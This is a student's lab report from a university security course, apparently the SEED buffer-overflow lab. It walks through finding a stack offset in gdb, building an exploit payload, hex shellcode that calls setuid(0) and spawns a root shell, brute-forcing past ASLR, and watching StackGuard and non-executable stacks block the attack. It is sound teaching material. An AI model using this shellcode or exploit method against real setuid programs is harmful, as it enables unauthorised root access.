Ben Heinze, Lab 3 CSCI 476

**Task 1: Getting Familiar with Shellcode**

- Task 1.1

```
[03/05/23]seed@VM:~/.../shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
[03/05/23]seed@VM:~/.../shellcode$ ls
a32.out              assembly_shellcode32.asm  Makefile
a64.out              assembly_shellcode64.asm
assembly_setuid0.asm  call_shellcode.c
[03/05/23]seed@VM:~/.../shellcode$ ./a32.out
$
$ exit
[03/05/23]seed@VM:~/.../shellcode$ ./a64.out
$
$
$ sd
zsh: command not found: sd
$ exit
[03/05/23]seed@VM:~/.../shellcode$
```

When compiling and comparing the output for both files, they both gave me a regular shell.

**Task 1.2**

The main function is allocating 500 bytes. Strcpy doesn't have overflow protection, so main will allow us to overflow the stack.

## Task 2: Attacking a Vulnerable 32-bit Program

- Task 2.1: Finding the Return Address

```
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you mean "=="
?
  if pyversion is 3:
Reading symbols from stack-L1-dbg...
gdb-peda$ b bof
Breakpoint 1 at 0x12ad: file stack.c, line 17.
gdb-peda$ run
Starting program: /home/seed/csci476-code/03_buffer_overflow/code/stack-L1-dbg
Input size: 0
[----------------------------------registers-----------------------------------]
EAX: 0xffffcb38 --> 0x0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffcf20 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcf28 --> 0xffffd158 --> 0x0
ESP: 0xffffcb1c --> 0x565563ee (<dummy_function+62>:    add    esp,0x10)
EIP: 0x565562ad (<bof>: endbr32)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565562a4 <frame_dummy+4>:  jmp    0x56556200 <register_tm_clones>
   0x565562a9 <__x86.get_pc_thunk.dx>:  mov    edx,DWORD PTR [esp]
   0x565562ac <__x86.get_pc_thunk.dx+3>:        ret
=> 0x565562ad <bof>:    endbr32
   0x565562b1 <bof+4>:  push   ebp
   0x565562b2 <bof+5>:  mov    ebp,esp
   0x565562b4 <bof+7>:  push   ebx
   0x565562b5 <bof+8>:  sub    esp,0x74
[------------------------------------stack-------------------------------------]
0000| 0xffffcb1c --> 0x565563ee (<dummy_function+62>:   add    esp,0x10)
0004| 0xffffcb20 --> 0xffffcf43 --> 0x456
0008| 0xffffcb24 --> 0x0
0012| 0xffffcb28 --> 0x3e8
0016| 0xffffcb2c --> 0x565563c3 (<dummy_function+19>:   add    eax,0x2bf5)
0020| 0xffffcb30 --> 0x0
0024| 0xffffcb34 --> 0x0
0028| 0xffffcb38 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, bof (str=0xffffcf43 "V\004") at stack.c:17
17      {
gdb-peda$
```

```
[------------------------------------stack-------------------------------------]
0000| 0xffffcaa0 ("1pUV4\317\377\377\220\325\377\367\340\263\374", <incomplete sequence
\367>)
0004| 0xffffcaa4 --> 0xffffcf34 --> 0x0
0008| 0xffffcaa8 --> 0xf7ffd590 --> 0xf7fd1000 --> 0x464c457f
0012| 0xffffcaac --> 0xf7fcb3e0 --> 0xf7ffd990 --> 0x56555000 --> 0x464c457f
0016| 0xffffcab0 --> 0x0
0020| 0xffffcab4 --> 0x0
0024| 0xffffcab8 --> 0x0
0028| 0xffffcabc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
21          strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xffffcb18
gdb-peda$ p &buffer
$2 = (char (*)[100]) 0xffffcaac
gdb-peda$ p/d ADDR1 - ADDR2
No symbol "ADDR1" in current context.
gdb-peda$ p/d 0xffffcb18 - 0xffffcaac
$3 = 108
gdb-peda$ quit
[03/04/23]seed@VM:~/.../code$
```

In this process, we are using the debugger to determine the buffer offset so we can find where the return address is in memory.

- Task 2.2 Launching Your Attack

```
#################################################################
# Put the shellcode somewhere in the payload
start = 400       # TODO: Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value and put it somewhere in the payloa
d
ret = 0xffffcb18+200       # TODO: Change this number
offset = 108+4      # TODO: Change this number

L = 4           # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L, byteorder='little')
#################################################################
```

By using the data we got from the previous tasks, we finish the c file. This works because the memory locations we got from 2.1 are consistent.

```
[03/05/23]seed@VM:~/.../code$ vim exploit.py
[03/05/23]seed@VM:~/.../code$ ./exploit.py
[03/05/23]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# root!
zsh: command not found: root!
#
```

## Tasks 3: Defeating dash's Countermeasure

### Task 3.1: Experimenting with Set-UID Assembly Code

```
[03/05/23]seed@VM:~/.../shellcode$ ./a32.out
$ exit
[03/05/23]seed@VM:~/.../shellcode$ ./a64.out
$ exit
[03/05/23]seed@VM:~/.../shellcode$ vim call_shellcode.c
[03/05/23]seed@VM:~/.../shellcode$ vim call_shellcode.c
[03/05/23]seed@VM:~/.../shellcode$ ./a32.out
$ exit
[03/05/23]seed@VM:~/.../shellcode$ ./a64.out
$ exit
[03/05/23]seed@VM:~/.../shellcode$ make setuid
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
sudo chown root a32.out a64.out
sudo chmod 4755 a32.out a64.out
[03/05/23]seed@VM:~/.../shellcode$ ./a32.out
# root!
/bin//sh: 1: root!: not found
# exit
[03/05/23]seed@VM:~/.../shellcode$ ./a64.out
# root2!!!!
/bin//sh: 1: root2!!!!: not found
# exit
[03/05/23]seed@VM:~/.../shellcode$
```

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// Binary code for setuid(0)
// 64-bit:  "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
// 32-bit:  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"

const char shellcode[] =
#if __x86_64__ // 64-bit shellcode
    "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
    "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
    "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
    "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else // 32-bit shellcode
    "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
    "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
    "\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
;

int main(int argc, char **argv)
{
    char code[500];

    strcpy(code, shellcode);
    int (*func)() = (int (*)())code;
```

The first half of the first picture is before we enabled the set-uid code code and it gave us $ instead of root shells. When the assembly code was enabled, it allowed us to access root #.

Task 3.2: Launching the Attack (Again)

```
[03/06/23]seed@VM:~/.../shellcode$ ./a64.out
# ls -l /bin/sh /bin/zsh /bin/dash
-rwxr-xr-x 1 root root 129816 Jul 18  2019 /bin/dash
lrwxrwxrwx 1 root root      9 Mar  5 23:20 /bin/sh -> /bin/dash
-rwxr-xr-x 1 root root 878288 Feb 23  2020 /bin/zsh
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(di
p),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# 
```

We proved that we are using /bin/sh for our root and we still have access to these higher privileges.

**Task 4: Defeating ASLR**

Task 4.1: Attacking a System with ASLR Enabled

```
make: Nothing to be done for 'all'.
[03/04/23]seed@VM:~/.../code$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[03/04/23]seed@VM:~/.../code$ make
make: Nothing to be done for 'all'.
[03/04/23]seed@VM:~/.../code$ ./exploit
bash: ./exploit: No such file or directory
[03/04/23]seed@VM:~/.../code$ ./exploit.py
[03/04/23]seed@VM:~/.../code$ ./stack-L1
Input size: 517
Segmentation fault
[03/04/23]seed@VM:~/.../code$ ./stack-L1
Input size: 517
Segmentation fault
[03/04/23]seed@VM:~/.../code$ ./stack-L1
Input size: 517
Segmentation fault
[03/04/23]seed@VM:~/.../code$ 
```

Since it randomizes the memory locations each time it runs, it will give us a segmentation fault because our script is wrong.

Task 4.2: A Brute Force Attack on a System with ASLR Enabled

```
The program has been run 73045 times so far (time elapsed: 1 minutes and 52 seconds).
Input size: 517
./brute-force.sh: line 13: 76906 Segmentation fault      ./stack-L1
The program has been run 73046 times so far (time elapsed: 1 minutes and 52 seconds).
Input size: 517
./brute-force.sh: line 13: 76907 Segmentation fault      ./stack-L1
The program has been run 73047 times so far (time elapsed: 1 minutes and 52 seconds).
Input size: 517
./brute-force.sh: line 13: 76908 Segmentation fault      ./stack-L1
The program has been run 73048 times so far (time elapsed: 1 minutes and 52 seconds).
Input size: 517
./brute-force.sh: line 13: 76909 Segmentation fault      ./stack-L1
The program has been run 73049 times so far (time elapsed: 1 minutes and 52 seconds).
Input size: 517
./brute-force.sh: line 13: 76910 Segmentation fault      ./stack-L1
The program has been run 73050 times so far (time elapsed: 1 minutes and 52 seconds).
Input size: 517
./brute-force.sh: line 13: 76911 Segmentation fault      ./stack-L1
The program has been run 73051 times so far (time elapsed: 1 minutes and 52 seconds).
Input size: 517
./brute-force.sh: line 13: 76912 Segmentation fault      ./stack-L1
The program has been run 73052 times so far (time elapsed: 1 minutes and 52 seconds).
Input size: 517
./brute-force.sh: line 13: 76913 Segmentation fault      ./stack-L1
The program has been run 73053 times so far (time elapsed: 1 minutes and 52 seconds).
Input size: 517
./brute-force.sh: line 13: 76914 Segmentation fault      ./stack-L1
The program has been run 73054 times so far (time elapsed: 1 minutes and 52 seconds).
Input size: 517
./brute-force.sh: line 13: 76915 Segmentation fault      ./stack-L1
The program has been run 73055 times so far (time elapsed: 1 minutes and 52 seconds).
Input size: 517
./brute-force.sh: line 13: 76916 Segmentation fault      ./stack-L1
The program has been run 73056 times so far (time elapsed: 1 minutes and 52 seconds).
Input size: 517
./brute-force.sh: line 13: 76917 Segmentation fault      ./stack-L1
The program has been run 73057 times so far (time elapsed: 1 minutes and 52 seconds).
Input size: 517
./brute-force.sh: line 13: 76918 Segmentation fault      ./stack-L1
The program has been run 73058 times so far (time elapsed: 1 minutes and 52 seconds).
Input size: 517
./brute-force.sh: line 13: 76919 Segmentation fault      ./stack-L1
The program has been run 73059 times so far (time elapsed: 1 minutes and 52 seconds).
Input size: 517
$
$ 
```

Although our script memory locations are *most likely* wrong due to this randomization, we can brute force this by continuously running the script until the memory locations are correct enough for the hack to work.

**Tasks 5: Experimenting with Other Countermeasures**

- Task 5.1: Turn on the StackGuard Protection

```
FLAGS    = -z execstack #-fno-stack-protector
FLAGS_32 = -m32
TARGET   = stack-L1 stack-L2 stack-L3 stack-L4 stack-L1-dbg stack-L2-dbg stack-L3-dbg st
ack-L4-dbg

# Pick a number between 100-400
L1 = 100
# Pick a number between 100-200
L2 = 160
# Pick a number between 100-400
L3 = 200
```

```
badfile          peda-session-stack-L1-dbg.txt   stack-L1-dbg   stack-L3-dbg
brute-force.sh   stack                           stack-L2       stack-L4
exploit.py       stack.c                         stack-L2-dbg   stack-L4-dbg
Makefile         stack-L1                        stack-L3
[03/04/23]seed@VM:~/.../code$ ./exploit.py
[03/04/23]seed@VM:~/.../code$ ./stack-L1
Input size: 517
*** stack smashing detected ***: terminated
Aborted
```

I commented out the flag that turns off the stack guard.

- Task 5.2: Turn on the Non-Executable Stack Protection

```
[03/04/23]seed@VM:~/.../shellcode$ make
gcc -m32 -o a32.out call_shellcode.c
gcc -o a64.out call_shellcode.c
[03/04/23]seed@VM:~/.../shellcode$ ./a32.out
Segmentation fault
[03/04/23]seed@VM:~/.../shellcode$ ./64.out
bash: ./64.out: No such file or directory
[03/04/23]seed@VM:~/.../shellcode$ ./a64.out
Segmentation fault
[03/04/23]seed@VM:~/.../shellcode$
```

The Non-Executable Stack Protection is causing segmentation faults in the old attacks that worked before.